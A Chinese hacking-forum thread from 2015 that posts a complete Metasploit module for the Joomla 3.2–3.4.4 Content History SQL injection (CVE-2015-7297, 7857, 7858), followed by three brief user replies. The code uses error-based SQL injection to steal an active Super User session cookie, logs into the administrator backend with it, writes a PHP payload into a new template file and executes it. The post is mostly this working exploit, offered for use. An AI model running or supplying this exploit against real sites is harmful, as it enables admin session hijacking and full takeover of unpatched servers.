查看: 16642|回复: 3

Joomla SQL注入和远程代码执行漏洞

[复制链接]
  • TA的每日心情

    2024-11-13 20:06
  • 签到天数: 1628 天

    [LV.Master]伴坛终老

    发表于 2015-11-21 21:50:52 | 显示全部楼层 |阅读模式
    发布日期:2015.11.21
    通杀版本:3.2——3.4.4
    CVE-2015-7297
    CVE-2015-7857
    CVE-2015-7858

    相关Exp见代码

    [PHP] 纯文本查看 复制代码
    ##
    # This module requires Metasploit: [url]http://metasploit.com/download[/url]
    # Current source: [url]https://github.com/rapid7/metasploit-framework[/url]
    ##
     
    require 'msf/core'
     
    class Metasploit3 < Msf::Exploit::Remote
      Rank = ExcellentRanking
     
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
     
      def initialize(info={})
        super(update_info(info,
          'Name'           => "Joomla Content History SQLi Remote Code Execution",
          'Description'    => %q{
            This module exploits a SQL injection vulnerability found in Joomla versions
            3.2 up to 3.4.4. The vulnerability exists in the Content History administrator
            component in the core of Joomla. Triggering the SQL injection makes it possible
            to retrieve active Super User sessions. The cookie can be used to login to the
            Joomla administrator backend. By creating a new template file containing our
            payload, remote code execution is made possible.
          },
          'License'        => MSF_LICENSE,
          'Author'         =>
            [
              'Asaf Orpani', # Vulnerability discovery
              'xistence <xistence[at]0x90.nl>' # Metasploit module
            ],
          'References'     =>
            [
              [ 'CVE', '2015-7857' ], # Admin session hijacking
              [ 'CVE', '2015-7297' ], # SQLi
              [ 'CVE', '2015-7857' ], # SQLi
              [ 'CVE', '2015-7858' ], # SQLi
              [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/' ],
              [ 'URL', 'http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html' ]
            ],
          'Payload'        =>
            {
              'DisableNops' => true,
              # Arbitrary big number. The payload gets sent as POST data, so
              # really it's unlimited
              'Space'       => 262144, # 256k
            },
          'Platform'       => ['php'],
          'Arch'           => ARCH_PHP,
          'Targets'        =>
            [
              [ 'Joomla 3.x <= 3.4.4', {} ]
            ],
          'Privileged'     => false,
          'DisclosureDate' => "Oct 23 2015",
          'DefaultTarget'  => 0))
     
          register_options(
            [
              OptString.new('TARGETURI', [true, 'The base path to Joomla', '/'])
            ], self.class)
     
      end
     
      def check
     
        # Request using a non-existing table
        res = sqli(rand_text_alphanumeric(rand(10)+6))
     
        if res && res.body =~ /`(.*)_ucm_history`/
          return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
     
      end
     
     
      def sqli( tableprefix )
     
        # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in).
        # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history.
        # This way we make sure that's excluded and we only get real admin sessions.
     
        sql = " (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)"
     
        # Retrieve cookies
        res = send_request_cgi({
          'method'   => 'GET',
          'uri'      => normalize_uri(target_uri.path, "index.php"),
          'vars_get' => {
            'option' => 'com_contenthistory',
            'view' => 'history',
            'list[ordering]' => '',
            'item_id' => '1',
            'type_id' => '1',
            'list[select]' => sql
            }
          })
     
        return res
     
      end
     
     
      def exploit
     
        # Request using a non-existing table first, to retrieve the table prefix
        res = sqli(rand_text_alphanumeric(rand(10)+6))
     
        if res && res.code == 500 && res.body =~ /`(.*)_ucm_history`/
          table_prefix = $1
          print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")
        else
          fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")
        end
     
        # Retrieve the admin session using our retrieved table prefix
        res = sqli("#{table_prefix}_")
     
        if res && res.code == 500 && res.body =~ /Duplicate entry '([a-z0-9]+)' for key/
          auth_cookie_part = $1[0...-1]
          print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]")
        else
          fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!")
        end
     
        # Retrieve cookies
        res = send_request_cgi({
          'method'   => 'GET',
          'uri'      => normalize_uri(target_uri.path, "administrator", "index.php")
        })
     
        if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/
          cookie_begin = $1
          print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")
        else
          fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")
        end
     
        # Modify cookie to authenticated admin
        auth_cookie = cookie_begin
        auth_cookie << "="
        auth_cookie << auth_cookie_part
        auth_cookie << ";"
     
        # Authenticated session
        res = send_request_cgi({
          'method'   => 'GET',
          'uri'      => normalize_uri(target_uri.path, "administrator", "index.php"),
          'cookie'  => auth_cookie
          })
     
        if res && res.code == 200 && res.body =~ /Administration - Control Panel/
          print_status("#{peer} - Successfully authenticated as Administrator")
        else
          fail_with(Failure::Unknown, "#{peer} - Session failure")
        end
     
     
        # Retrieve template view
        res = send_request_cgi({
          'method'   => 'GET',
          'uri'      => normalize_uri(target_uri.path, "administrator", "index.php"),
          'cookie'  => auth_cookie,
          'vars_get' => {
            'option' => 'com_templates',
            'view' => 'templates'
            }
          })
     
        # We try to retrieve and store the first template found
        if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/
          template_id = $1
          file_id = $2
        else
          fail_with(Failure::Unknown, "Unable to retrieve template")
        end
     
        filename = rand_text_alphanumeric(rand(10)+6)
     
        # Create file
        print_status("#{peer} - Creating file [ #{filename}.php ]")
        res = send_request_cgi({
          'method'   => 'POST',
          'uri'      => normalize_uri(target_uri.path, "administrator", "index.php"),
          'cookie'  => auth_cookie,
          'vars_get' => {
            'option' => 'com_templates',
            'task' => 'template.createFile',
            'id' => template_id,
            'file' => file_id,
            },
          'vars_post' => {
            'type' => 'php',
            'name' => filename
          }
          })
     
        # Grab token
        if res && res.code == 303 && res.headers['Location']
          location = res.headers['Location']
          print_status("#{peer} - Following redirect to [ #{location} ]")
          res = send_request_cgi(
            'uri'    => location,
            'method' => 'GET',
            'cookie' => auth_cookie
          )
     
          # Retrieving template token
          if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/
            token = $1
            print_status("#{peer} - Token [ #{token} ] retrieved")
          else
            fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")
          end
     
          if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/
            template_path = $1
            print_status("#{peer} - Template path [ #{template_path} ] retrieved")
          else
            fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")
          end
     
        else
          fail_with(Failure::Unknown, "#{peer} - Creating file failed")
        end
     
        filename_base64 = Rex::Text.encode_base64("/#{filename}.php")
     
        # Inject payload data into file
        print_status("#{peer} - Insert payload into file [ #{filename}.php ]")
        res = send_request_cgi({
          'method'   => 'POST',
          'uri'      => normalize_uri(target_uri.path, "administrator", "index.php"),
          'cookie'  => auth_cookie,
          'vars_get' => {
            'option' => 'com_templates',
            'view' => 'template',
            'id' => template_id,
            'file' => filename_base64,
            },
          'vars_post' => {
            'jform[source]' => payload.encoded,
            'task' => 'template.apply',
            token => '1',
            'jform[extension_id]' => template_id,
            'jform[filename]' => "/#{filename}.php"
          }
          })
     
        if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/
          print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")
        else
          fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")
        end
     
        # Request payload
        register_files_for_cleanup("#{filename}.php")
        print_status("#{peer} - Executing payload")
        res = send_request_cgi({
          'method'   => 'POST',
          'uri'      => normalize_uri(target_uri.path, template_path, "#{filename}.php"),
          'cookie'  => auth_cookie
        })
     
      end
     
    end
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-8-21 09:22
  • 签到天数: 181 天

    [LV.7]常住居民III

    发表于 2015-11-26 10:23:41 | 显示全部楼层
    这些干货还是很有用的
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2021-4-26 19:00
  • 签到天数: 40 天

    [LV.5]常住居民I

    发表于 2015-11-28 19:03:30 | 显示全部楼层
    还是不太懂
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2015-12-25 15:45
  • 签到天数: 13 天

    [LV.3]偶尔看看II

    发表于 2015-11-30 11:12:32 | 显示全部楼层
    代码执行怎么没看到
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-22 08:58 , Processed in 0.024218 second(s), 15 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部